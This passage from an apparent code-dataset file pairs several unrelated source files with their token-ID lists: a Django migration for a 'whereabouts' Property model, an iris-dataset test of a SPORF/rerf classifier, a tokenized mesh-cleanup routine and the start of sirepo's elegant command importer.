29879,
29892,
14013,
285,
29901,
14671,
29920,
575,
300,
29898,
29888,
876,
13,
13,
4706,
2380,
29918,
1958,
353,
426,
29894,
29901,
29894,
363,
285,
297,
282,
16838,
29918,
8726,
363,
325,
297,
285,
29913,
13,
4706,
338,
29918,
2248,
29918,
14941,
353,
7431,
29898,
2248,
29918,
1958,
29897,
1275,
7431,
29898,
3358,
29916,
29918,
1765,
1575,
29897,
13,
4706,
565,
338,
29918,
2248,
29918,
14941,
29901,
13,
9651,
12183,
29889,
3888,
877,
259,
313,
1765,
1575,
338,
5941,
29897,
1495,
13,
4706,
1683,
29901,
13,
9651,
716,
29918,
369,
4776,
29918,
2798,
353,
29871,
29900,
13,
9651,
363,
325,
297,
12705,
29898,
2248,
29918,
1958,
1125,
13,
18884,
565,
325,
2804,
716,
29918,
369,
4776,
29918,
2798,
29901,
13,
462,
1678,
282,
16838,
29918,
1765,
1575,
29961,
1482,
29918,
369,
4776,
29918,
2798,
29962,
353,
282,
16838,
29918,
1765,
1575,
29961,
29894,
29962,
13,
462,
1678,
2380,
29918,
1958,
29961,
29894,
29962,
353,
716,
29918,
369,
4776,
29918,
2798,
13,
18884,
716,
29918,
369,
4776,
29918,
2798,
4619,
29871,
29896,
13,
9651,
12183,
29889,
27392,
877,
259,
448,
6206,
1273,
29881,
13791,
742,
7431,
29898,
3358,
29916,
29918,
1765,
1575,
6817,
1482,
29918,
369,
4776,
29918,
2798,
29897,
13,
9651,
628,
282,
16838,
29918,
1765,
1575,
29961,
1482,
29918,
369,
4776,
29918,
2798,
17531,
13,
13,
9651,
396,
2767,
12688,
16285,
310,
17240,
13,
9651,
363,
285,
297,
282,
16838,
29918,
8726,
29901,
13,
18884,
285,
7503,
29962,
353,
518,
2248,
29918,
1958,
29961,
29894,
29962,
363,
325,
297,
285,
29962,
13,
13,
4706,
565,
27716,
29918,
6194,
29901,
13,
9651,
12183,
29889,
3888,
877,
259,
448,
25679,
313,
4467,
29882,
871,
29897,
6824,
1495,
13,
9651,
736,
13,
13,
4706,
565,
451,
338,
29918,
2248,
29918,
14941,
29901,
13,
9651,
396,
5941,
12688,
29914,
4090,
18131,
29879,
13,
9651,
822,
4770,
5504,
29918,
2248,
29898,
29916,
1125,
13,
18884,
921,
29889,
2248,
353,
2380,
29918,
1958,
29889,
657,
29898,
29916,
29889,
2248,
29892,
6213,
29897,
13,
18884,
736,
921,
29889,
2248,
338,
451,
6213,
13,
9651,
1067,
29879,
17255,
14941,
29918,
3358,
29916,
29918,
29885,
5676,
29879,
29898,
3358,
29916,
29918,
4299,
29889,
29885,
5676,
29879,
29892,
4770,
5504,
29918,
2248,
29897,
13,
4706,
12183,
29889,
3888,
877,
259,
448,
25679,
6824,
1495,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
3349,
29918,
29881,
283,
7586,
29898,
25932,
29892,
282,
16838,
29918,
4299,
29892,
27716,
29918,
6194,
1125,
13,
4706,
12183,
29889,
3888,
877,
7301,
21081,
27641,
856,
1495,
13,
4706,
282,
16838,
29918,
1765,
1575,
353,
282,
16838,
29918,
4299,
29889,
1765,
1575,
13,
13,
4706,
12688,
29918,
1958,
353,
518,
8516,
29962,
334,
7431,
29898,
3358,
29916,
29918,
1765,
1575,
29897,
13,
4706,
396,
11705,
12688,
848,
13,
4706,
363,
474,
29892,
325,
297,
26985,
29898,
3358,
29916,
29918,
1765,
1575,
1125,
13,
9651,
12688,
29918,
1958,
29961,
29875,
29962,
353,
518,
23583,
29898,
29894,
29889,
1111,
4638,
13,
4706,
565,
451,
27716,
29918,
6194,
29901,
13,
9651,
363,
286,
297,
282,
16838,
29918,
4299,
29889,
29885,
5676,
29879,
29901,
13,
18884,
565,
451,
338,
8758,
29898,
29885,
29892,
282,
16838,
29889,
22479,
29924,
5676,
29897,
322,
451,
338,
8758,
29898,
29885,
29892,
282,
16838,
29889,
29965,
9219,
5676,
1125,
13,
462,
1678,
6773,
13,
18884,
363,
921,
297,
286,
29889,
2696,
7224,
29901,
13,
462,
1678,
12688,
29918,
1958,
29961,
29916,
29889,
2248,
1822,
4397,
29898,
23583,
29898,
29916,
29889,
10289,
876,
13,
4706,
396,
5706,
12688,
2778,
3460,
1591,
13,
4706,
6611,
353,
6571,
13,
4706,
363,
474,
29892,
325,
297,
26985,
29898,
369,
4776,
29918,
1958,
1125,
13,
9651,
413,
353,
18761,
29898,
29894,
29897,
13,
9651,
565,
413,
297,
6611,
29901,
13,
18884,
12688,
29918,
1958,
29961,
29875,
29962,
353,
6611,
29961,
29895,
29962,
396,
10366,
282,
16838,
29918,
1765,
1575,
29961,
29875,
29962,
304,
282,
16838,
29918,
1765,
1575,
29961,
8149,
29961,
29895,
3816,
29900,
5262,
13,
9651,
1683,
29901,
13,
18884,
12688,
29918,
1958,
29961,
29875,
29962,
353,
6611,
29961,
29895,
29962,
353,
313,
29875,
29892,
7431,
29898,
8149,
876,
396,
313,
3358,
29916,
2380,
29892,
1999,
1581,
2380,
29897,
13,
4706,
18139,
353,
7431,
29898,
369,
4776,
29918,
1958,
29897,
448,
7431,
29898,
8149,
29897,
13,
4706,
6611,
29889,
8551,
580,
13,
4706,
565,
18139,
29901,
13,
9651,
12183,
29889,
27392,
877,
259,
448,
1273,
29881,
13791,
674,
367,
6206,
742,
18139,
29897,
13,
4706,
1683,
29901,
13,
9651,
12183,
29889,
3888,
877,
259,
448,
25679,
313,
1217,
3620,
29897,
6824,
1495,
13,
9651,
736,
6213,
13,
13,
4706,
396,
5941,
3700,
13,
4706,
396,
2161,
29918,
1989,
29918,
9891,
353,
14013,
285,
29901,
14671,
29920,
575,
300,
29898,
369,
4776,
29918,
1958,
29961,
29916,
3816,
29900,
29962,
363,
921,
297,
285,
29897,
13,
4706,
3700,
29918,
1989,
29918,
9891,
353,
14013,
285,
29901,
14671,
29920,
575,
300,
3319,
369,
4776,
29918,
1958,
29961,
29916,
3816,
29900,
5387,
23583,
29898,
3358,
29916,
29918,
1765,
1575,
29961,
29916,
1822,
4090,
29897,
363,
921,
297,
285,
1836,
7076,
3101,
13,
4706,
1067,
29879,
17255,
14941,
29918,
3358,
29916,
29918,
8726,
29898,
3358,
29916,
29918,
4299,
29889,
8726,
29892,
282,
16838,
29918,
4299,
29889,
15388,
29879,
29892,
3700,
29918,
1989,
29918,
9891,
29897,
13,
13,
4706,
565,
27716,
29918,
6194,
29901,
13,
9651,
12183,
29889,
3888,
877,
259,
448,
25679,
313,
4467,
29882,
871,
29897,
6824,
1495,
13,
4706,
1683,
29901,
13,
9651,
396,
5941,
12688,
29914,
4090,
18131,
29879,
13,
9651,
822,
4770,
5504,
29918,
2248,
29898,
29916,
1125,
13,
18884,
16285,
353,
12688,
29918,
1958,
29961,
29916,
29889,
2248,
29962,
13,
18884,
921,
29889,
2248,
353,
16285,
29961,
29896,
29962,
565,
921,
29889,
2248,
1275,
16285,
29961,
29900,
29962,
1683,
6213,
13,
18884,
736,
921,
29889,
2248,
338,
451,
6213,
13,
9651,
1067,
29879,
17255,
14941,
29918,
3358,
29916,
29918,
29885,
5676,
29879,
29898,
3358,
29916,
29918,
4299,
29889,
29885,
5676,
29879,
29892,
4770,
5504,
29918,
2248,
29897,
13,
9651,
12183,
29889,
3888,
877,
259,
448,
25679,
6824,
1495,
13,
4706,
736,
12688,
29918,
1958,
13,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
4770,
14941,
29918,
3358,
29916,
29918,
8726,
29898,
3358,
29916,
29918,
8726,
29892,
282,
16838,
29918,
15388,
29879,
29892,
3700,
29918,
1989,
29918,
9891,
1125,
13,
4706,
716,
29918,
2161,
29918,
2798,
353,
29871,
29900,
13,
4706,
3700,
29918,
1524,
353,
4256,
29898,
3358,
29916,
29918,
8726,
29897,
13,
4706,
363,
1775,
297,
282,
16838,
29918,
15388,
29879,
29901,
13,
9651,
1304,
29918,
8726,
353,
731,
580,
13,
9651,
716,
29918,
369,
4776,
29918,
2798,
353,
29871,
29900,
13,
9651,
363,
474,
297,
3464,
29898,
524,
29898,
2922,
29889,
369,
4776,
29918,
2798,
29914,
29941,
22164,
13,
18884,
285,
353,
2446,
29898,
2161,
29918,
1524,
29897,
13,
13,
18884,
285,
29918,
1989,
353,
3700,
29918,
1989,
29918,
9891,
29898,
29888,
29897,
13,
18884,
565,
7431,
29898,
29888,
29918,
1989,
29897,
2804,
29871,
29941,
470,
285,
29918,
1989,
297,
1304,
29918,
8726,
29901,
13,
462,
1678,
6773,
13,
18884,
1304,
29918,
8726,
29889,
1202,
29898,
29888,
29918,
1989,
29897,
13,
13,
18884,
282,
16838,
29918,
8726,
29961,
1482,
29918,
2161,
29918,
2798,
29962,
353,
1051,
29898,
29888,
29897,
13,
18884,
716,
29918,
2161,
29918,
2798,
4619,
29871,
29896,
13,
18884,
716,
29918,
369,
4776,
29918,
2798,
4619,
29871,
29941,
13,
9651,
1775,
29889,
369,
4776,
29918,
2798,
353,
716,
29918,
369,
4776,
29918,
2798,
13,
4706,
3700,
29918,
1524,
353,
6213,
13,
4706,
565,
716,
29918,
2161,
29918,
2798,
1275,
7431,
29898,
3358,
29916,
29918,
8726,
1125,
13,
9651,
12183,
29889,
3888,
877,
259,
313,
8726,
338,
5941,
29897,
1495,
13,
4706,
1683,
29901,
13,
9651,
12183,
29889,
27392,
877,
259,
448,
6206,
1273,
29881,
17240,
742,
7431,
29898,
3358,
29916,
29918,
8726,
6817,
1482,
29918,
2161,
29918,
2798,
29897,
13,
9651,
628,
282,
16838,
29918,
8726,
29961,
1482,
29918,
2161,
29918,
2798,
17531,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
4770,
14941,
29918,
3358,
29916,
29918,
29885,
5676,
29879,
29898,
3358,
29916,
29918,
29885,
5676,
29879,
29892,
2380,
29918,
5504,
29918,
9891,
1125,
13,
4706,
363,
286,
297,
282,
16838,
29918,
29885,
5676,
29879,
29901,
13,
9651,
565,
451,
338,
8758,
29898,
29885,
29892,
282,
16838,
29889,
22479,
29924,
5676,
29897,
322,
451,
338,
8758,
29898,
29885,
29892,
282,
16838,
29889,
29965,
9219,
5676,
1125,
13,
18884,
6773,
13,
9651,
2030,
29918,
2435,
353,
7431,
29898,
29885,
29889,
2696,
7224,
29897,
13,
9651,
286,
29889,
2696,
7224,
353,
518,
29916,
363,
921,
297,
286,
29889,
2696,
7224,
565,
2380,
29918,
5504,
29918,
9891,
29898,
29916,
4638,
13,
9651,
18139,
353,
2030,
29918,
2435,
448,
7431,
29898,
29885,
29889,
2696,
7224,
29897,
13,
9651,
565,
18139,
29901,
13,
18884,
12183,
29889,
27392,
877,
259,
448,
6206,
1273,
29881,
313,
974,
1273,
29881,
29897,
1283,
7224,
310,
11860,
29879,
29908,
742,
18139,
29892,
2030,
29918,
2435,
29892,
286,
29889,
978,
29897,
13,
13,
2
] |
attendees/whereabouts/migrations/0006_property.py | xjlin0/attendees32 | 0 | 1600392 | # Generated by Django 3.0.2 on 2020-01-14 06:35
from django.db import migrations, models
from attendees.persons.models import Utility
import django.utils.timezone
import model_utils.fields
class Migration(migrations.Migration):
dependencies = [
('whereabouts', '0005_campus'),
]
operations = [
migrations.CreateModel(
name='Property',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')),
('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')),
('is_removed', models.BooleanField(default=False)),
('campus', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='whereabouts.Campus')),
('display_name', models.CharField(db_index=True, max_length=50)),
('slug', models.SlugField(max_length=50, unique=True)),
('infos', models.JSONField(blank=True, default=dict, help_text='Example: {"2010id": "3"}. Please keep {} here even no data', null=True)),
],
options={
'db_table': 'whereabouts_properties',
'verbose_name_plural': 'Properties',
},
bases=(models.Model, Utility),
),
migrations.RunSQL(Utility.default_sql('whereabouts_properties')),
migrations.AddIndex(
model_name='property',
index=django.contrib.postgres.indexes.GinIndex(fields=['infos'], name='property_infos_gin'),
),
migrations.CreateModel(
name='PropertiesHistory',
fields=[
('pgh_id', models.BigAutoField(primary_key=True, serialize=False)),
('pgh_created_at', models.DateTimeField(auto_now_add=True)),
('pgh_label', models.TextField(help_text='The event label.')),
('pgh_obj', models.ForeignKey(db_constraint=False, on_delete=models.deletion.DO_NOTHING, related_name='history', to='whereabouts.property')),
('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')),
('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')),
('is_removed', models.BooleanField(default=False)),
('id', models.BigIntegerField(db_index=True)),
('campus', models.ForeignKey(db_constraint=False, null=True, on_delete=models.deletion.DO_NOTHING, related_name='+', related_query_name='+', to='whereabouts.campus')),
('infos', models.JSONField(blank=True, default=dict, help_text='Example: {"2010id": "3"}. Please keep {} here even no data', null=True)),
('slug', models.SlugField(db_index=False)),
('display_name', models.CharField(max_length=50)),
('pgh_context', models.ForeignKey(db_constraint=False, null=True, on_delete=models.deletion.DO_NOTHING, related_name='+', to='pghistory.context')),
],
options={
'db_table': 'whereabouts_propertieshistory',
},
),
migrations.RunSQL(Utility.pgh_default_sql('whereabouts_propertieshistory', original_model_table='whereabouts_properties')),
]
| [
1,
396,
3251,
630,
491,
15337,
29871,
29941,
29889,
29900,
29889,
29906,
373,
29871,
29906,
29900,
29906,
29900,
29899,
29900,
29896,
29899,
29896,
29946,
29871,
29900,
29953,
29901,
29941,
29945,
13,
13,
3166,
9557,
29889,
2585,
1053,
9725,
800,
29892,
4733,
13,
3166,
472,
841,
311,
267,
29889,
6774,
787,
29889,
9794,
1053,
22310,
537,
13,
5215,
9557,
29889,
13239,
29889,
2230,
8028,
13,
5215,
1904,
29918,
13239,
29889,
9621,
13,
13,
13,
1990,
341,
16783,
29898,
26983,
800,
29889,
29924,
16783,
1125,
13,
13,
1678,
9962,
353,
518,
13,
4706,
6702,
3062,
12717,
29879,
742,
525,
29900,
29900,
29900,
29945,
29918,
24821,
375,
5477,
13,
1678,
4514,
13,
13,
1678,
6931,
353,
518,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
4854,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
333,
742,
4733,
29889,
6970,
12300,
3073,
29898,
6921,
29918,
11600,
29922,
5574,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
28755,
29922,
8824,
29892,
26952,
29918,
978,
2433,
1367,
1495,
511,
13,
18884,
6702,
11600,
742,
1904,
29918,
13239,
29889,
9621,
29889,
12300,
20399,
3073,
29898,
4381,
29922,
14095,
29889,
13239,
29889,
2230,
8028,
29889,
3707,
29892,
3863,
519,
29922,
8824,
29892,
26952,
29918,
978,
2433,
11600,
1495,
511,
13,
18884,
6702,
1545,
2164,
742,
1904,
29918,
13239,
29889,
9621,
29889,
12300,
8897,
2111,
2164,
3073,
29898,
4381,
29922,
14095,
29889,
13239,
29889,
2230,
8028,
29889,
3707,
29892,
3863,
519,
29922,
8824,
29892,
26952,
29918,
978,
2433,
1545,
2164,
1495,
511,
13,
18884,
6702,
275,
29918,
1745,
8238,
742,
4733,
29889,
18146,
3073,
29898,
4381,
29922,
8824,
8243,
13,
18884,
6702,
24821,
375,
742,
4733,
29889,
27755,
2558,
29898,
4304,
29922,
5574,
29892,
373,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
10490,
29918,
10074,
29892,
304,
2433,
3062,
12717,
29879,
29889,
29907,
1160,
375,
1495,
511,
13,
18884,
6702,
4990,
29918,
978,
742,
4733,
29889,
27890,
29898,
2585,
29918,
2248,
29922,
5574,
29892,
4236,
29918,
2848,
29922,
29945,
29900,
8243,
13,
18884,
6702,
29517,
742,
4733,
29889,
16973,
688,
3073,
29898,
3317,
29918,
2848,
29922,
29945,
29900,
29892,
5412,
29922,
5574,
8243,
13,
18884,
6702,
7192,
359,
742,
4733,
29889,
7249,
3073,
29898,
19465,
29922,
5574,
29892,
2322,
29922,
8977,
29892,
1371,
29918,
726,
2433,
14023,
29901,
8853,
29906,
29900,
29896,
29900,
333,
1115,
376,
29941,
29908,
1836,
3529,
3013,
6571,
1244,
1584,
694,
848,
742,
1870,
29922,
5574,
8243,
13,
13,
9651,
21251,
13,
9651,
3987,
3790,
13,
18884,
525,
2585,
29918,
2371,
2396,
525,
3062,
12717,
29879,
29918,
11330,
742,
13,
18884,
525,
369,
15828,
29918,
978,
29918,
572,
3631,
2396,
525,
11857,
742,
13,
9651,
2981,
13,
9651,
22561,
7607,
9794,
29889,
3195,
29892,
22310,
537,
511,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
6558,
4176,
29898,
7270,
537,
29889,
4381,
29918,
2850,
877,
3062,
12717,
29879,
29918,
11330,
1495,
511,
13,
4706,
9725,
800,
29889,
2528,
3220,
29898,
13,
9651,
1904,
29918,
978,
2433,
6799,
742,
13,
9651,
2380,
29922,
14095,
29889,
21570,
29889,
2490,
7201,
29889,
2248,
267,
29889,
29954,
262,
3220,
29898,
9621,
29922,
1839,
7192,
359,
7464,
1024,
2433,
6799,
29918,
7192,
359,
29918,
5359,
5477,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
11857,
20570,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
4061,
29882,
29918,
333,
742,
4733,
29889,
6970,
12300,
3073,
29898,
16072,
29918,
1989,
29922,
5574,
29892,
28755,
29922,
8824,
8243,
13,
18884,
6702,
4061,
29882,
29918,
11600,
29918,
271,
742,
4733,
29889,
11384,
3073,
29898,
6921,
29918,
3707,
29918,
1202,
29922,
5574,
8243,
13,
18884,
6702,
4061,
29882,
29918,
1643,
742,
4733,
29889,
15778,
29898,
8477,
29918,
726,
2433,
1576,
1741,
3858,
29889,
1495,
511,
13,
18884,
6702,
4061,
29882,
29918,
5415,
742,
4733,
29889,
27755,
2558,
29898,
2585,
29918,
13646,
29922,
8824,
29892,
373,
29918,
8143,
29922,
9794,
29889,
311,
1026,
291,
29889,
3970,
29918,
12256,
29950,
4214,
29892,
4475,
29918,
978,
2433,
18434,
742,
304,
2433,
3062,
12717,
29879,
29889,
6799,
1495,
511,
13,
18884,
6702,
11600,
742,
1904,
29918,
13239,
29889,
9621,
29889,
12300,
20399,
3073,
29898,
4381,
29922,
14095,
29889,
13239,
29889,
2230,
8028,
29889,
3707,
29892,
3863,
519,
29922,
8824,
29892,
26952,
29918,
978,
2433,
11600,
1495,
511,
13,
18884,
6702,
1545,
2164,
742,
1904,
29918,
13239,
29889,
9621,
29889,
12300,
8897,
2111,
2164,
3073,
29898,
4381,
29922,
14095,
29889,
13239,
29889,
2230,
8028,
29889,
3707,
29892,
3863,
519,
29922,
8824,
29892,
26952,
29918,
978,
2433,
1545,
2164,
1495,
511,
13,
18884,
6702,
275,
29918,
1745,
8238,
742,
4733,
29889,
18146,
3073,
29898,
4381,
29922,
8824,
8243,
13,
18884,
6702,
333,
742,
4733,
29889,
6970,
7798,
3073,
29898,
2585,
29918,
2248,
29922,
5574,
8243,
13,
18884,
6702,
24821,
375,
742,
4733,
29889,
27755,
2558,
29898,
2585,
29918,
13646,
29922,
8824,
29892,
1870,
29922,
5574,
29892,
373,
29918,
8143,
29922,
9794,
29889,
311,
1026,
291,
29889,
3970,
29918,
12256,
29950,
4214,
29892,
4475,
29918,
978,
2433,
29974,
742,
4475,
29918,
1972,
29918,
978,
2433,
29974,
742,
304,
2433,
3062,
12717,
29879,
29889,
24821,
375,
1495,
511,
13,
18884,
6702,
7192,
359,
742,
4733,
29889,
7249,
3073,
29898,
19465,
29922,
5574,
29892,
2322,
29922,
8977,
29892,
1371,
29918,
726,
2433,
14023,
29901,
8853,
29906,
29900,
29896,
29900,
333,
1115,
376,
29941,
29908,
1836,
3529,
3013,
6571,
1244,
1584,
694,
848,
742,
1870,
29922,
5574,
8243,
13,
18884,
6702,
29517,
742,
4733,
29889,
16973,
688,
3073,
29898,
2585,
29918,
2248,
29922,
8824,
8243,
13,
18884,
6702,
4990,
29918,
978,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29945,
29900,
8243,
13,
18884,
6702,
4061,
29882,
29918,
4703,
742,
4733,
29889,
27755,
2558,
29898,
2585,
29918,
13646,
29922,
8824,
29892,
1870,
29922,
5574,
29892,
373,
29918,
8143,
29922,
9794,
29889,
311,
1026,
291,
29889,
3970,
29918,
12256,
29950,
4214,
29892,
4475,
29918,
978,
2433,
29974,
742,
304,
2433,
4061,
18434,
29889,
4703,
1495,
511,
13,
9651,
21251,
13,
9651,
3987,
3790,
13,
18884,
525,
2585,
29918,
2371,
2396,
525,
3062,
12717,
29879,
29918,
11330,
18434,
742,
13,
9651,
2981,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
6558,
4176,
29898,
7270,
537,
29889,
4061,
29882,
29918,
4381,
29918,
2850,
877,
3062,
12717,
29879,
29918,
11330,
18434,
742,
2441,
29918,
4299,
29918,
2371,
2433,
3062,
12717,
29879,
29918,
11330,
1495,
511,
13,
1678,
4514,
13,
2
] |
SPORFTest/venv/SPORFTest.py | alt440/NeurodataTools | 0 | 78005 | <reponame>alt440/NeurodataTools<gh_stars>0
# the forest classifier that I want to test (rerf == sporf)
from rerf.rerfClassifier import rerfClassifier
# Import scikit-learn dataset library. Machine learning tool for python. Used here to get some data.
from sklearn import datasets
# Creating a DataFrame of given iris dataset. (I wonder if this is really useful?
import pandas as pd
# Import train_test_split function
from sklearn.model_selection import train_test_split
# Import scikit-learn metrics module for accuracy calculation
from sklearn import metrics
# iris contains all the data related to irises
iris = datasets.load_iris()
# to get the information out of the iris dataset
# print(iris.target_names)
# print(iris.feature_names)
# The reason I am using Panda is because it seems to be useful to see the data better.
# Using Panda, when you print out, you see the columns' signification and the rows' number.
data = pd.DataFrame(
{
"sepal length": iris.data[:, 0],
"sepal width": iris.data[:, 1],
"petal length": iris.data[:, 2],
"petal width": iris.data[:, 3],
"species": iris.target,
}
)
# Prints the first 5 lines of data
print(data.head())
# extracting some data
# this takes all the data relating only to the 4 columns sepal length, width, petal length, width
X = data[["sepal length", "sepal width", "petal length", "petal width"]] # Features
# this takes all the data relating to the species column. Note: there is no double square brackets here, because
# we are not adding the title of the column to it. You can print y and X to see for yourself.
y = data["species"] # Labels
# Split dataset into training set and test set
X_train, X_test, y_train, y_test = train_test_split(
X, y, test_size=0.3
) # 70% training and 30% test
# Create a RerF Classifier
clf = rerfClassifier(n_estimators=100)
# Train the model using the training sets y_pred=clf.predict(X_test)
clf.fit(X_train, y_train)
# so we predict where the X data is supposed to go (which species is the X element from?)
y_pred = clf.predict(X_test)
# Model Accuracy, how often is the classifier correct?
print("Accuracy:", metrics.accuracy_score(y_test, y_pred)) | [
1,
529,
276,
1112,
420,
29958,
1997,
29946,
29946,
29900,
29914,
8139,
2192,
1272,
24183,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
278,
13569,
770,
3709,
393,
306,
864,
304,
1243,
313,
2872,
29888,
1275,
805,
4877,
29897,
13,
3166,
364,
261,
29888,
29889,
2872,
29888,
2385,
3709,
1053,
364,
261,
29888,
2385,
3709,
13,
13,
29937,
16032,
4560,
7354,
29899,
19668,
8783,
3489,
29889,
6189,
6509,
5780,
363,
3017,
29889,
501,
8485,
1244,
304,
679,
777,
848,
29889,
13,
3166,
2071,
19668,
1053,
20035,
13,
13,
29937,
26221,
263,
3630,
4308,
310,
2183,
3805,
275,
8783,
29889,
313,
29902,
4997,
565,
445,
338,
2289,
5407,
29973,
13,
5215,
11701,
408,
10518,
13,
13,
29937,
16032,
7945,
29918,
1688,
29918,
5451,
740,
13,
3166,
2071,
19668,
29889,
4299,
29918,
21731,
1053,
7945,
29918,
1688,
29918,
5451,
13,
13,
29937,
16032,
4560,
7354,
29899,
19668,
21556,
3883,
363,
13600,
13944,
13,
3166,
2071,
19668,
1053,
21556,
13,
13,
13,
29937,
3805,
275,
3743,
599,
278,
848,
4475,
304,
3805,
4637,
13,
381,
275,
353,
20035,
29889,
1359,
29918,
381,
275,
580,
13,
13,
29937,
304,
679,
278,
2472,
714,
310,
278,
3805,
275,
8783,
13,
29937,
1596,
29898,
381,
275,
29889,
5182,
29918,
7039,
29897,
13,
29937,
1596,
29898,
381,
275,
29889,
14394,
29918,
7039,
29897,
13,
13,
29937,
450,
2769,
306,
626,
773,
349,
5863,
338,
1363,
372,
2444,
304,
367,
5407,
304,
1074,
278,
848,
2253,
29889,
13,
29937,
5293,
349,
5863,
29892,
746,
366,
1596,
714,
29892,
366,
1074,
278,
4341,
29915,
1804,
2450,
322,
278,
4206,
29915,
1353,
29889,
13,
1272,
353,
10518,
29889,
17271,
29898,
13,
1678,
426,
13,
4706,
376,
344,
7830,
3309,
1115,
3805,
275,
29889,
1272,
7503,
29892,
29871,
29900,
1402,
13,
4706,
376,
344,
7830,
2920,
1115,
3805,
275,
29889,
1272,
7503,
29892,
29871,
29896,
1402,
13,
4706,
376,
10963,
284,
3309,
1115,
3805,
275,
29889,
1272,
7503,
29892,
29871,
29906,
1402,
13,
4706,
376,
10963,
284,
2920,
1115,
3805,
275,
29889,
1272,
7503,
29892,
29871,
29941,
1402,
13,
4706,
376,
24091,
1115,
3805,
275,
29889,
5182,
29892,
13,
1678,
500,
13,
29897,
13,
13,
29937,
1588,
9466,
278,
937,
29871,
29945,
3454,
310,
848,
13,
2158,
29898,
1272,
29889,
2813,
3101,
13,
13,
29937,
6597,
292,
777,
848,
13,
29937,
445,
4893,
599,
278,
848,
1104,
1218,
871,
304,
278,
29871,
29946,
4341,
409,
7830,
3309,
29892,
2920,
29892,
5697,
284,
3309,
29892,
2920,
13,
29990,
353,
848,
29961,
3366,
344,
7830,
3309,
613,
376,
344,
7830,
2920,
613,
376,
10963,
284,
3309,
613,
376,
10963,
284,
2920,
3108,
29962,
29871,
396,
5169,
3698,
13,
29937,
445,
4893,
599,
278,
848,
1104,
1218,
304,
278,
6606,
1897,
29889,
3940,
29901,
727,
338,
694,
3765,
6862,
20476,
1244,
29892,
1363,
13,
29937,
591,
526,
451,
4417,
278,
3611,
310,
278,
1897,
304,
372,
29889,
887,
508,
1596,
343,
322,
1060,
304,
1074,
363,
7535,
29889,
13,
29891,
353,
848,
3366,
24091,
3108,
29871,
396,
15796,
29879,
13,
13,
29937,
26178,
8783,
964,
6694,
731,
322,
1243,
731,
13,
29990,
29918,
14968,
29892,
1060,
29918,
1688,
29892,
343,
29918,
14968,
29892,
343,
29918,
1688,
353,
7945,
29918,
1688,
29918,
5451,
29898,
13,
1678,
1060,
29892,
343,
29892,
1243,
29918,
2311,
29922,
29900,
29889,
29941,
13,
29897,
29871,
396,
29871,
29955,
29900,
29995,
6694,
322,
29871,
29941,
29900,
29995,
1243,
13,
13,
29937,
6204,
263,
390,
261,
29943,
4134,
3709,
13,
695,
29888,
353,
364,
261,
29888,
2385,
3709,
29898,
29876,
29918,
342,
326,
4097,
29922,
29896,
29900,
29900,
29897,
13,
13,
29937,
28186,
278,
1904,
773,
278,
6694,
6166,
343,
29918,
11965,
29922,
695,
29888,
29889,
27711,
29898,
29990,
29918,
1688,
29897,
13,
695,
29888,
29889,
9202,
29898,
29990,
29918,
14968,
29892,
343,
29918,
14968,
29897,
13,
13,
29937,
577,
591,
8500,
988,
278,
1060,
848,
338,
7424,
304,
748,
313,
4716,
6606,
338,
278,
1060,
1543,
515,
7897,
13,
29891,
29918,
11965,
353,
1067,
29888,
29889,
27711,
29898,
29990,
29918,
1688,
29897,
13,
13,
29937,
8125,
4831,
332,
4135,
29892,
920,
4049,
338,
278,
770,
3709,
1959,
29973,
13,
2158,
703,
7504,
332,
4135,
29901,
613,
21556,
29889,
562,
2764,
4135,
29918,
13628,
29898,
29891,
29918,
1688,
29892,
343,
29918,
11965,
876,
2
] |
sirepo/template/elegant_command_importer.py | bsmith39/CS595Project | 1 | 110614 | <reponame>bsmith39/CS595Project<filename>sirepo/template/elegant_command_importer.py
# -*- coding: utf-8 -*-
u"""elegant lattice parser.
:copyright: Copyright (c) 2015 RadiaSoft LLC. All Rights Reserved.
:license: http://www.apache.org/licenses/LICENSE-2.0.html
"""
from __future__ import absolute_import, division, print_function
import re
from sirepo import simulation_db
from sirepo.template import elegant_command_parser
from sirepo.template import elegant_common
from sirepo.template import elegant_lattice_importer
_SCHEMA = simulation_db.get_schema('elegant')
def _init_types():
res = {}
for name in _SCHEMA['model']:
if name.startswith('command_'):
name = re.sub(r'^command_', '', name)
res[name] = True
return res
_ELEGANT_TYPES = _init_types()
def import_file(text):
commands = elegant_command_parser.parse_file(text)
if not len(commands):
raise IOError('no commands found in file')
_verify_lattice_name(commands)
# iterate commands, validate values and set defaults from schema
for cmd in commands:
cmd_type = cmd['_type']
if not cmd_type in _ELEGANT_TYPES:
raise IOError('unknown command: {}'.format(cmd_type))
elegant_lattice_importer.validate_fields(cmd, {}, {})
data = simulation_db.default_data(elegant_common.SIM_TYPE)
#TODO(pjm) javascript needs to set bunch, bunchSource, bunchFile values from commands
data['models']['commands'] = commands
return data
def _verify_lattice_name(commands):
for cmd in commands:
if cmd['_type'] == 'run_setup' and 'lattice' in cmd:
return cmd['lattice']
raise IOError('missing run_setup lattice field')
| [
1,
529,
276,
1112,
420,
29958,
29890,
3844,
389,
29941,
29929,
29914,
9295,
29945,
29929,
29945,
7653,
29966,
9507,
29958,
29879,
533,
1129,
29914,
6886,
29914,
29872,
1397,
424,
29918,
6519,
29918,
326,
18505,
29889,
2272,
13,
29937,
448,
29930,
